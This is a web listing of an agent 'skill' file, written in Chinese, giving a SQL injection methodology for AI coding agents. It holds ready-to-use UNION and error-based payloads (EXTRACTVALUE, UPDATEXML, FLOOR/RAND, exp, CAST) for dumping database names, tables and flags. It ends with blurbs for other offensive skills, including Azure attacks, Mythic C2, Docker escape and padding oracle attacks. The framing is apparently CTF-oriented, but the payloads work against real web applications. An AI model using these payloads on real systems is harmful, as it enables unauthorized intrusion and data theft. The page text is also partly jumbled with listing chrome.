skills/exploit/web-method/sql-injection-methodology/SKILL.md
SQL注入检测、利用、绕过的完整方法论。当目标有表单提交、登录页面、搜索功能、数据查询接口时使用。包含POST参数完整性检查、EXTRACTVALUE截断陷阱、UNION/报错/盲注/sqlmap全流程
npx skillsauth add wgpsec/AboutSecurity sql-injection-methodologyInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
isset($_POST['submit']) 做验证' 和正常值响应相同 → 缺参数,立即检查' 测试 → 有报错即存在注入ORDER BY 10 → 错误 → ORDER BY 5 → 成功 → ORDER BY 8 → 错误
→ ORDER BY 6 → 成功 → ORDER BY 7 → 错误 → 列数 = 6
⛔ ORDER BY N 成功 ≠ 列数是 N!必须找到 N+1 失败的边界才能确认UNION 无截断限制,一次拿完整 flag。必须按以下顺序尝试所有 6 种变体:
-- ① 标准 UNION(让原查询空)
' AND 1=2 UNION SELECT 1,2,3,4,5,6--
-- ② NULL 代替数字
' AND 1=2 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL--
-- ③ 不同注释符
' AND 1=2 UNION SELECT 1,2,3,4,5,6#
' AND 1=2 UNION SELECT 1,2,3,4,5,6-- -
-- ④ 大小写/注释绕过
' AND 1=2 UNiON SeLeCT 1,2,3,4,5,6--
-- ⑤ 检查回显位: 响应中出现了哪个数字(2/3/4)?该位置放查询
' AND 1=2 UNION SELECT 1,database(),3,4,5,6--
-- ⑥ 检查完整 HTML 源码(不只是摘要),搜索数字 1-6 是否在隐藏元素中
策略:一旦某个变体成功找到回显位(响应中出现数字),立即用该变体提取数据,无需继续测试剩余变体。全部失败才转 Phase 3。
报错注入有多种方式,按优先级尝试(某种被过滤就换下一种):
最多返回 32 字符:
' AND EXTRACTVALUE(1,CONCAT(0x7e,database()))--
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())))--
' AND UPDATEXML(1,CONCAT(0x7e,database()),1)--
' AND UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())),1)--
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(database(),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT flag FROM flag LIMIT 0,1),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--
' AND exp(~(SELECT*FROM(SELECT database())a))--
' AND !(SELECT*FROM(SELECT database())a)-~0--
数据库差异:
' AND 1=CONVERT(int,@@version)-- 或 ' AND 1=CAST(db_name() AS int)--' AND 1=CAST(version() AS int)--触发条件: EXTRACTVALUE 返回的 flag 被截断(< 预期长度) 强制动作:
在报告 flag 之前,必须全部通过以下检查,否则不得报告:
-- 1. 查询真实长度
' AND EXTRACTVALUE(1,CONCAT(0x7e,LENGTH((SELECT flag FROM flag))))--
| 检查项 | 方法 | 不通过处理 |
|--------|------|-----------|
| 长度匹配 | len(flag) == LENGTH() 返回值 | 重新提取,不得报告 |
| 格式正确 | 以 flag{ 开头 } 结尾 | 重新提取 |
| Hash 合理性 | flag{...} 中 hash 长度通常是 32/40/64 | 长度异常则重新提取 |
⛔ 跳过此验证直接报告 flag = 任务失败。这是最后防线。
testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能